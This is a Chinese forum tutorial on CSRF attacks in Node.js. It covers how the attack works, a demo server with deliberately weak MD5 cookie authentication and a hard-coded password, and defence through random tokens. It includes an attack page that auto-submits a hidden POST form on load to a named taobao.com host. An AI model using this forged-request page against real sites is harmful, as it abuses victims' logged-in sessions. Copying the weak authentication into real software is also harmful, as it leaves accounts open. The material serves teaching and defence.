设为首页 收藏本站
查看: 1263|回复: 0

[经验分享] CSRF攻击原理以及nodejs的实现和防御

[复制链接]

尚未签到

发表于 2017-2-22 12:51:47 | 显示全部楼层 |阅读模式
  一、简介
  CSRF (Cross-site Request Forgery),中文名称:跨站伪造。危害是攻击者可以盗用你的身份,以你的名义发送恶意请求。比如可以盗取你的账号,以你的身份发送邮件,购买商品等。
  二、原理
  具体的原理图如下:
DSC0000.jpg

  更加恐怖的是使用诸如img之类的标签,甚至不需要用户点击某个链接就可以发起攻击,比如B网站可以添加如下代码:



   
  这里width=0 height=0 表示图片是不可见的。这个语句会导致游览器向另外的服务器发送一个请求。游览器不管该图片url实际是否指向一张图片,只要src字段中规定了url,就会按照地址触发这个请求。(游览器默认都是没有禁止下载图片,这是因为禁用图片后大多数web程序的可用性就会打折扣)。加载图片根本不考虑所涉及的图像所在位置(可以跨域)。如果A网站不小心提供了get接口就非常不幸得中招了
  三、攻击
  《浅谈CSRF攻击方式》一文中已经用实例讲解了一个php的实现和防御方法,我这里主要是讲nodejs的实现和防御。为了简单起见,假设我们有一个应用,它提供了两个接口“/get/checkvalue”和 “'/post/setvalue”,它们都接受一个参数“value”来改变系统的一个某个值。 当然前提是用户已经正常登陆了。具体逻辑是它有一个用户登陆的过程,登陆成功后会将用户信息存到cookie中,之后就根据cookie来判断是否能正常访问,当然cookie信息经过md5加密。(真实应用中千万不要这么做,md5加密并不是非常安全)。
  服务主程序:



var app = http.createServer(function(req, res) {
//权限判断
  authMiddle(req, res, function(err, checkValue){
if (!checkValue) return res.end(html_login);
//数据查询和操作
    controller(req, res);  
});
});
  用户权限判断逻辑:



var cookieValue = crypto.createHash('md5').update('jifeng_jifeng').digest('hex');
function getCookie(headers){
var cookies = {};
headers.cookie && headers.cookie.split(';').forEach(function(cookie) {
var parts = cookie.split('=');
cookies[ parts[ 0 ].trim() ] = ( parts[ 1 ] || '' ).trim();
});  
return cookies;
}
function checkUser(req, res, callback){
var chunks = [];
var length = 0;
var rows = null;
req.on('data', function(data){
chunks.push(data);
length += data.length;
})
req.on('end', function(){
var rows = new Buffer(length);
var len = 0;
for (var i = 0, il = chunks.length; i < il; i++) {
chunks.copy(rows, len);
len += chunks.length;
}
var args = querystring.parse(rows.toString());
if (args && args.name === 'jifeng' && args.password ==='jifeng') {
res.setHeader('Set-Cookie', ['cookie1987=' + cookieValue]);
callback(null, true);   
} else {
callback(null, false);
}
})
}
function authMiddle(req, res, callback){
var flag = false;
var params = urllib.parse(req.url, true);
if (params.pathname === '/checkuser') {
return checkUser(req, res, callback);   
} else {
var headers = req.headers;
var cookies = getCookie(headers);//得到用户cookie
if (cookies && cookies.cookie1987) {
var v = cookies.cookie1987;
if (v == cookieValue) {
flag = true;  
}
}
callback(null, flag)
}
}
  那具体怎样进攻呢?
  get攻击的页面很简单。




  post攻击的页面相对比较复杂



  <head>
<title>post 测试页面</title>
<script>
function steal(){
var mySubmit = document.getElementById('steal_form');
mySubmit.submit();
}
</script>
</head>
<body onload='steal()'>
  <form id = "steal_form" method="POST" action="http://test3.data.taobao.com:5678/post/check">
    <input type="hidden" name="func" value="post">
   <input type="hidden" name="value" value="1000">
  </form>
</body>
  但这里强调一点:现在游览器(chrome,firfox)为了安全考虑,默认都做了一定的限制,form标签发送到其他网站的请求会被拦截,大家有兴趣模拟这种情况时需要注意这个问题。
  详细的代码:https://github.com/jifeng/toycode/tree/master/csrf
  四、防范
  访问csrf的措施虽然很多,但归根到底就是一条:在客户端提交请求时增加伪造随机数。
  nodejs中有些框架已经帮我们做了这件事,比如重用的connect
  它具体的实现:
  http://www.senchalabs.org/connect/csrf.html   
  举例:
       https://github.com/senchalabs/connect/blob/master/examples/csrf.js
  实现还是相对比较简单,有兴趣的同学可以再仔细看下。
  参考文章:
  浅谈CSRF攻击方式

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-345789-1-1.html 上篇帖子: nodejs实用示例:缩址还原 下篇帖子: NodeJS让前端与后端更友好的分手
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表